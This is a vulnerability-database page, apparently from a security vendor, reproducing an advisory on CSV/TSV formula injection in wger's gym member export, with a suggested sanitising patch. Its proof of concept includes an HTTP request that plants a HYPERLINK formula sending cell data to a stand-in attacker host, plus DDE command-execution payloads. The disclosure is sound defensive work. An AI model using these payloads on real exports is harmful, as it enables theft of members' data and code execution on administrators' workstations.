Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-xq9m-hmp9-fw87 wger

HIGH

GHSA-xq9m-hmp9-fw87 is a high-severity (CVSS 7.4) CWE-1236 vulnerability in wger. A fix is available for wger — see the affected versions and patch details below.

wger: CSV/TSV formula injection in gym member export (first_name/last_name)

Also known asCVE-2026-86257
Published
May 6, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xq9m-hmp9-fw87.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs6th percentile — riskier than 6% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-xq9m-hmp9-fw87 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍wger

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The gym member TSV export endpoint in wger writes first_name and last_name profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.

Details

File: wger/gym/views/export.py, approximately line 73

# VULNERABLE - wger/gym/views/export.py
writer.writerow([
    user.id,
    gym.name,
    user.username,
    user.email,
    user.first_name,   # written verbatim - no formula prefix sanitization
    user.last_name,    # written verbatim
    ...
])

Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their first_name to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.

Affected endpoints:

  • GET /en/gym/export/users/<gym_pk> -> wger.gym.views.export (TSV download)
  • Profile fields injected via profile edit endpoint (first_name/last_name)

Suggested patch:

--- a/wger/gym/views/export.py
+++ b/wger/gym/views/export.py
+FORMULA_PREFIXES = ('=', '+', '-', '@', '\t', '\r')
+
+def sanitise_cell(value):
+    """Prefix formula-triggering strings with a single-quote to neutralise."""
+    s = str(value) if value is not None else ''
+    if s and s[0] in FORMULA_PREFIXES:
+        return "'" + s
+    return s
+
 writer.writerow([
     user.id,
     gym.name,
     user.username,
     user.email,
-    user.first_name,
-    user.last_name,
+    sanitise_cell(user.first_name),
+    sanitise_cell(user.last_name),
     ...
 ])

Prepending ' to any cell value beginning with =, +, -, or @ is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply sanitise_cell to all exported user-supplied fields, or subclass csv.writer to apply the sanitization globally for future fields.

PoC

Tested on wger/server:latest Docker image. Test users: gym member (any registered user) and trainer1 (manage_gym permission).

Step 1 - Inject formula payload into profile (any gym member, including self-registered):

POST /en/user/<user_pk>/overview HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=[member_session]

first_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29

URL-decoded value: =HYPERLINK("http://attacker.example/x?p="&A1,"click")

Step 2 - Gym admin exports member list:

GET /en/gym/export/users/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer_session]

-> 200 OK
Content-Disposition: attachment; filename=User-data-gym-2-[date].csv

[... header row ...]
2	TestGym1	alice	[email protected]	=HYPERLINK("http://attacker.example/x?p="&A1,"click")	...

Step 3 - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:

  • Formula cell renders as clickable "click" hyperlink.
  • On click (or on file-open with DDE-enabled Excel): browser issues GET http://attacker.example/x?p=[cell_A1_contents].
  • Attacker server receives exfiltrated spreadsheet data.

Confirmed during testing: both =cmd|calc.exe!A1 (DDE) and =HYPERLINK(attacker.com) payloads appear raw in the exported TSV response body.

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

Any gym member (including self-registered users) can inject a spreadsheet formula into their own first_name or last_name. When a gym administrator with manage_gym permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:

  • Data exfiltration: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via HYPERLINK or WEBSERVICE functions.
  • Local code execution (legacy Excel with DDE enabled): payloads like =cmd|'/c calc.exe'!A1 execute arbitrary commands on the admin's workstation.
  • Phishing: formulas can display admin-trusted text while silently redirecting on click.

Affected deployments: every wger instance that delegates manage_gym to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.

Severity: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.

This is a standalone CWE-1236 vulnerability, independent of the None != None cluster of access-control findings. The fix is a small, local sanitization helper.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIwgerall versions2.6pip install --upgrade 'wger==2.6'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update wger to 2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xq9m-hmp9-fw87 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xq9m-hmp9-fw87 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-xq9m-hmp9-fw87. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The gym member TSV export endpoint in wger writes `first_name` and `last_name` profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution. ### Details **File**: `wger/gym/views/export
O3 Security · Impact-Aware SCA

Is GHSA-xq9m-hmp9-fw87 in your dependencies?

O3 Security finds GHSA-xq9m-hmp9-fw87 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-xq9m-hmp9-fw87: wger (High 7.4) | O3 Security